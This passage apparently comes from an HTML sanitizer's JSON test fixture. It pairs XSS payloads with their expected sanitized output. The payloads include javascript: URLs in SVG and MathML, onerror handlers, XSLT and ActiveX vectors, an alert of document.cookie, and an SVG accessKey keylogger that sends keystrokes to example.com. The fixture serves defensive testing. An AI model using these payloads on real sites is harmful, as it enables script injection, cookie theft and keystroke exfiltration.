    "expected": "<div id=\"121\">&lt;html xmlns=\"http://www.w3.org/1999/xhtml\"\nxmlns:svg=\"http://www.w3.org/2000/svg\"&gt;\n&lt;body &gt;\n&lt;iframe src=\"http://example.com/\" /&gt;\n&lt;svg:svg&gt;\n&lt;svg:mask id=\"maskForClickjacking\" maskUnits=\"objectBoundingBox\" maskContentUnits=\"objectBoundingBox\"&gt;\n    &lt;svg:rect x=\"0.0\" y=\"0.0\" width=\"0.373\" height=\"0.3\" fill=\"white\"/&gt;\n    &lt;svg:circle cx=\"0.45\" cy=\"0.7\" r=\"0.075\" fill=\"white\"/&gt;\n&lt;/svg:mask&gt;\n&lt;/svg:svg&gt;\n&lt;/body&gt;\n&lt;/html&gt;//[\"'`--&gt;]]>]</div>"
  },
  {
    "title": "iframe (sandboxed)",
    "payload": "<div id=\"122\"><iframe sandbox=\"allow-same-origin allow-forms allow-scripts\" src=\"http://example.org/\"></iframe>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"122\">&lt;iframe sandbox=\"allow-same-origin allow-forms allow-scripts\" src=\"http://example.org/\"&gt;&lt;/iframe>//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"124\"><script src=\"/example.com\foo.js\"></script> // Safari 5.0, Chrome 9, 10\n<script src=\"\\example.com\foo.js\"></script> // Safari 5.0//[\"'`-->]]>]</div>",
    "expected": "<div id=\"124\"> // Safari 5.0//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"125\"><?xml version=\"1.0\"?>\n<?xml-stylesheet type=\"text/xml\" href=\"#stylesheet\"?>\n<!DOCTYPE doc [\n<!ATTLIST xsl:stylesheet\n  id    ID    #REQUIRED>]>\n<svg xmlns=\"http://www.w3.org/2000/svg\">\n    <xsl:stylesheet id=\"stylesheet\" version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">\n        <xsl:template match=\"/\">\n            <iframe xmlns=\"http://www.w3.org/1999/xhtml\" src=\"javascript:alert(125)\"></iframe>\n        </xsl:template>\n    </xsl:stylesheet>\n    <circle fill=\"red\" r=\"40\"></circle>\n</svg>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"125\">&lt;?xml version=\"1.0\"?&gt;\n&lt;?xml-stylesheet type=\"text/xml\" href=\"#stylesheet\"?&gt;\n&lt;!DOCTYPE doc [\n&lt;!ATTLIST xsl:stylesheet\n  id    ID    #REQUIRED>]>\n&lt;svg xmlns=\"http://www.w3.org/2000/svg\"&gt;\n    <xsl:stylesheet id=\"stylesheet\" version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">\n        <xsl:template match=\"/\">\n            &lt;iframe xmlns=\"http://www.w3.org/1999/xhtml\" src=\"alert&#40;125&#41;\"&gt;&lt;/iframe>\n        </xsl:template>\n    </xsl:stylesheet>\n    <circle fill=\"red\" r=\"40\"></circle>\n&lt;/svg&gt;//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"126\"><object id=\"x\" classid=\"clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598\"></object>\n<object classid=\"clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B\" onqt_error=\"alert(126)\" style=\"behavior:url(#x);\"><param name=postdomevents /></object>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"126\">&lt;object id=\"x\" classid=\"clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598\"&gt;&lt;/object>\n&lt;object classid=\"clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B\"  &gt;&lt;param name=postdomevents />&lt;/object&gt;//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"127\"><svg xmlns=\"http://www.w3.org/2000/svg\" id=\"x\">\n<listener event=\"load\" handler=\"#y\" xmlns=\"http://www.w3.org/2001/xml-events\" observer=\"x\"/>\n<handler id=\"y\">alert(127)</handler>\n</svg>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"127\">&lt;svg xmlns=\"http://www.w3.org/2000/svg\" id=\"x\"&gt;\n<listener event=\"load\" handler=\"#y\" xmlns=\"http://www.w3.org/2001/xml-events\" observer=\"x\"/>\n<handler id=\"y\">alert&#40;127&#41;</handler>\n&lt;/svg&gt;//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"128\"><svg><style><img/src=x onerror=alert(128)// </b>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"128\">&lt;svg&gt;&lt;style><img/>//[\"'`--&>]</>"
  },
  {
    "title": "Inline SVG (data-uri)",
    "payload": "<div id=\"129\"><svg><image style='filter:url(\"data:image/svg+xml,<svg xmlns=%22http://www.w3.org/2000/svg%22><script>parent.alert(129)</script></svg>\")'>\n<!--\nSame effect with\n<image filter='...'>\n-->\n</svg>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"129\">&lt;svg&gt;&lt;image >\n&lt;!--\nSame effect with\n<image filter='...'>\n--&gt;\n&lt;/svg&gt;//[\"'`--&gt;]]>]</div>"
  },
  {
    "title": "MathML",
    "payload": "<div id=\"130\"><math href=\"javascript:alert(130)\">CLICKME</math>\n<math>\n<!-- up to FF 13 -->\n<maction actiontype=\"statusline#http://google.com\" xlink:href=\"javascript:alert(2)\">CLICKME</maction>\n\n<!-- FF 14+ -->\n<maction actiontype=\"statusline\" xlink:href=\"javascript:alert(3)\">CLICKME<mtext>http://http://google.com</mtext></maction>\n</math>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"130\">&lt;math href=\"alert&#40;130&#41;\"&gt;CLICKME&lt;/math&gt;\n&lt;math&gt;\n&lt;!-- up to FF 13 --&gt;\n<maction actiontype=\"statusline#http://google.com\" >CLICKME</maction>\n\n&lt;!-- FF 14+ --&gt;\n<maction actiontype=\"statusline\" >CLICKME<mtext>http://http://google.com</mtext></maction>\n&lt;/math&gt;//[\"'`--&gt;]]>]</div>"
  },
  {
    "title": "jAvascript (case sensitive)",
    "payload": "<div id=\"131\"><b>drag and drop one of the following strings to the drop box:</b>\n<br/><hr/>\njAvascript:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);//\n<br/><hr/>\nfeed:javascript:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);//\n<br/><hr/>\nfeed:data:text/html,<script>alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie)</script><b>\n<br/><hr/>\nfeed:feed:javAscript:javAscript:feed:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);//\n<br/><hr/>\n<div id=\"dropbox\" style=\"height: 360px;width: 500px;border: 5px solid #000;position: relative;\" ondragover=\"event.preventDefault()\">+ Drop Box +</div>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"131\"><b>drag and drop one of the following strings to the drop box:</b>\n<br/><hr/>\nalert&#40;'Top Page Location: '++' Host Page Cookies: '+&#41;;//\n<br/><hr/>\nfeed:alert&#40;'Top Page Location: '++' Host Page Cookies: '+&#41;;//\n<br/><hr/>\nfeed:data:text/html,<b>\n<br/><hr/>\nfeed:feed:feed:alert&#40;'Top Page Location: '++' Host Page Cookies: '+&#41;;//\n<br/><hr/>\n<div id=\"dropbox\"  >+ Drop Box +</div>//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"132\"><!doctype html>\n<form>\n<label>type a,b,c,d - watch the network tab/traffic (JS is off, latest NoScript)</label>\n<br>\n<input name=\"secret\" type=\"password\">\n</form>\n<!-- injection --><svg height=\"50px\">\n<image xmlns:xlink=\"http://www.w3.org/1999/xlink\">\n<set attributeName=\"xlink:href\" begin=\"accessKey(a)\" to=\"//example.com/?a\" />\n<set attributeName=\"xlink:href\" begin=\"accessKey(b)\" to=\"//example.com/?b\" />\n<set attributeName=\"xlink:href\" begin=\"accessKey(c)\" to=\"//example.com/?c\" />\n<set attributeName=\"xlink:href\" begin=\"accessKey(d)\" to=\"//example.com/?d\" />\n</image>\n</svg>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"132\">&lt;!DOCTYPE html>\n&lt;form&gt;\n<label>type a,b,c,d - watch the network tab/traffic (JS is off, latest NoScript)</label>\n<br>\n&lt;input name=\"secret\" type=\"password\"&gt;\n&lt;/form&gt;\n&lt;!-- injection --&gt;&lt;svg height=\"50px\"&gt;\n<image xmlns:xlink=\"http://www.w3.org/1999/xlink\">\n<set attributeName=\"xlink:href\" begin=\"accessKey(a)\" to=\"//example.com/?a\" />\n<set attributeName=\"xlink:href\" begin=\"accessKey(b)\" to=\"//example.com/?b\" />\n<set attributeName=\"xlink:href\" begin=\"accessKey(c)\" to=\"//example.com/?c\" />\n<set attributeName=\"xlink:href\" begin=\"accessKey(d)\" to=\"//example.com/?d\" />\n</image>\n&lt;/svg&gt;//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"133\"><!-- `<img/src=xx:xx onerror=alert(133)//--!>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"133\">&lt;!-- `<img/>//[\"'`--&>]</>"
  },
  {
    "title": "XMP",
    "payload": "<div id=\"134\"><xmp>\n<%\n</xmp>\n<img alt='%></xmp><img src=xx:x onerror=alert(134)//'>\n\n<script>\nx='<%'\n</script> %>/\nalert(2)\n</script>\n\nXXX\n<style>\n*['<!--']{}\n</style>\n-->{}\n*{color:red}</style>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"134\"><xmp>\n<%\n</xmp>\n<img ></><>\n\n<>\nx='%'>\n--&gt;{}\n*{color:red}&lt;/style&gt;//[\"'`--&gt;]]>]</div>"
  },
  {
    "title": "SVG",
    "payload": "<div id=\"135\"><?xml-stylesheet type=\"text/xsl\" href=\"#\" ?>\n<stylesheet xmlns=\"http://www.w3.org/TR/WD-xsl\">\n<template match=\"/\">\n<eval>new ActiveXObject('htmlfile').parentWindow.alert(135)</eval>\n<if expr=\"new ActiveXObject('htmlfile').parentWindow.alert(2)\"></if>\n</template>\n</stylesheet>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"135\">&lt;?xml-stylesheet type=\"text/xsl\" href=\"#\" ?&gt;\n&lt;stylesheet xmlns=\"http://www.w3.org/TR/WD-xsl\"&gt;\n<template match=\"/\">\n&lt;eval&gt;new ActiveXObject('htmlfile').parentWindow.alert&#40;135&#41;&lt;/eval&gt;\n<if expr=\"new ActiveXObject('htmlfile').parentWindow.alert&#40;2&#41;\"></if>\n</template>\n&lt;/stylesheet&gt;//[\"'`--&gt;]]>]</div>"
  },
  {
    "payload": "<div id=\"136\"><form action=\"\" method=\"post\">\n<input name=\"username\" value=\"admin\" />\n<input name=\"password\" type=\"password\" value=\"secret\" />\n<input name=\"injected\" value=\"injected\" dirname=\"password\" />\n<input type=\"submit\">\n</form>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"136\">&lt;form action=\"\" method=\"post\"&gt;\n&lt;input name=\"username\" value=\"admin\" /&gt;\n&lt;input name=\"password\" type=\"password\" value=\"secret\" /&gt;\n&lt;input name=\"injected\" value=\"injected\" dirname=\"password\" /&gt;\n&lt;input type=\"submit\"&gt;\n&lt;/form&gt;//[\"'`--&gt;]]>]</div>"
  },
  {
    "title": "SVG",
    "payload": "<div id=\"137\"><svg>\n<a xmlns:xlink=\"http://www.w3.org/1999/xlink\" xlink:href=\"?\">\n<circle r=\"400\"></circle>\n<animate attributeName=\"xlink:href\" begin=\"0\" from=\"javascript:alert(137)\" to=\"&\" />\n</a>//[\"'`-->]]>]</div>",
    "expected": "<div id=\"137\">&lt;svg&gt;\n<a xlink=\"http://www.w3.org/1999/xlink\"href=\"?\">\n<circle r=\"400\"></circle>\n<animate attributeName=\"xlink:href\" begin=\"0\" from=\"alert&#40;137&#41;\" to=\"&\" />\n</a>//[\"'`--&gt;]]>]</div>"
  },
  {
    "title": "Removing name attr from img with id can crash Safari",
    "payload": "<img name=\"bar\" id=\"foo\">",
    "expected": "<img name=\"bar\" id=\"foo\">"
  },
  {
    "title": "DOM clobbering: submit",
    "payload": "<input name=submit>123",
    "expected": "&lt;input name=submit&gt;123"
  },
  {
    "title": "DOM clobbering: acceptCharset",
    "payload": "<input name=acceptCharset>123",
    "expected": "&lt;input name=acceptCharset&gt;123"
  },
  {
  "title": "Testing support for sizes and srcset",
  "payload": "<img src=\"small.jpg\" srcset=\"medium.jpg 1000w, large.jpg 2000w\">",
  "expected": "<img src=\"small.jpg\" srcset=\"medium.jpg 1000w, large.jpg 2000w\">"
  }
]